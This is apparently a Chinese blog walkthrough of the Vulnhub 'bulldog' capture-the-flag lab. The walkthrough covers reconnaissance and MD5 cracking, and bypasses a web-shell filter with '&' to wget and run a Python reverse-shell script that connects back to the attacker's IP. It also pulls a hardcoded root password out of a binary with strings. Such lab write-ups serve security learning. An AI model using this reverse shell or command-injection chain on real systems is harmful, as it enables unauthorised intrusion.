【Vulnhub系列】bulldog

===========================

个人收获:

1.dirb挖掘网页目录

2.Linux 可以用&同时执行多条命令

3.Kali利用Python搭建简单HTTP服务器

4.python写的shell反弹脚本

5.利用python pty模块的shell来进行交互

============================

下载地址:https://download.vulnhub.com/bulldog/bulldog.ova

靶机说明

斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用?你为什么不知道?:)

这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息,你怎么做取决于你!

难度:初学者/中级,如果遇到困难,试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;)

目标

  • 提权到root权限并查看flag

运行环境

如果把靶机运行在VM下可能会出现一些问题,获取不了IP,需要自己在LINUX恢复模式下调试靶机比较麻烦。

这里我把     靶机运行在Vritual box   Kali运行在VM

 由于自身环境的原因不想弄乱自己的VM环境

我把靶机的网卡设置为Host-only   然后VM里面的桥接模式网卡设置为Vritual box的Host-only。

这样VM设置为桥接模式就能跟靶机在一个局域网下

下面是我靶机和Kali 的IP

Kali:192.168.56.102

bulldog:192.168.56.101

1.信息收集

主机探测

可以用    nmap -sS 192.168.43.0/24 进行

然后进行服务识别

nmap -A -p 80,23 192.168.56.101

发现ssh服务和web服务,并且web服务为python。

然后对web进行目录挖掘

发现 /admin  /dev

打开/admin尝试注入失败

查看/dev/shell发现webshell不能使用

我们查看/dev的源码出现线索

然后我们上MD5免费在线解密破解_MD5在线加密-SOMD5对这里面的MD5进行破解

这里我们选择sarah进行登陆

登陆进去后使用web-shell

这里给我们6个可用的命令,执行其他的命令会被拦截,这里我们用&进行命令组合绕过

然后我们在自己的Kali上用python搭建一个简单HTTP服务器,然靶机下载一个python写的shell反弹脚本

python -m SimpleHTTPServer 80

shell脚本源码:

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("192.168.56.102",1234))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/bash","-i"])

然后把文件放到网站目录下(自己的家目录)

然后在web-shell执行以下命令

pwd&wget http://192.168.56.102/python-shell.py

然后我们在Kali上执行

nc -lvp 1234

然后在web-shell上执行反弹脚本

pwd&python python-shell.py

这个时候kali会得到一个shell

然后我们切换目录到 bulldogadmin   

这里如果觉得shell命令的显示模式比较难受 可以在xshell下面的cmd栏目里面输入

进入bulldogadmin的家目录后 输入 

ls -la  查看全部文件(包括隐藏文件)

发现一个.hiddenadmindirectory

然后我们cd 进入 查看有什么东西

利用string查看可执行文件中的字符

<gadmin/.hiddenadmindirectory$ strings customPermissionApp                   
/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
  Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
customPermissionApp.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

从以上字符大概知道程序的用途

从里面分析出,这个大概是密码

注意每一段后面的H不是密码 需要去除

密码:SUPERultimatePASSWORDyouCANTget

然后执行python shell

sudo python -c 'import pty; pty.spawn("/bin/bash")' 

然后输入获得的密码,并切换到root的目录下,

最后 读取flag文件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值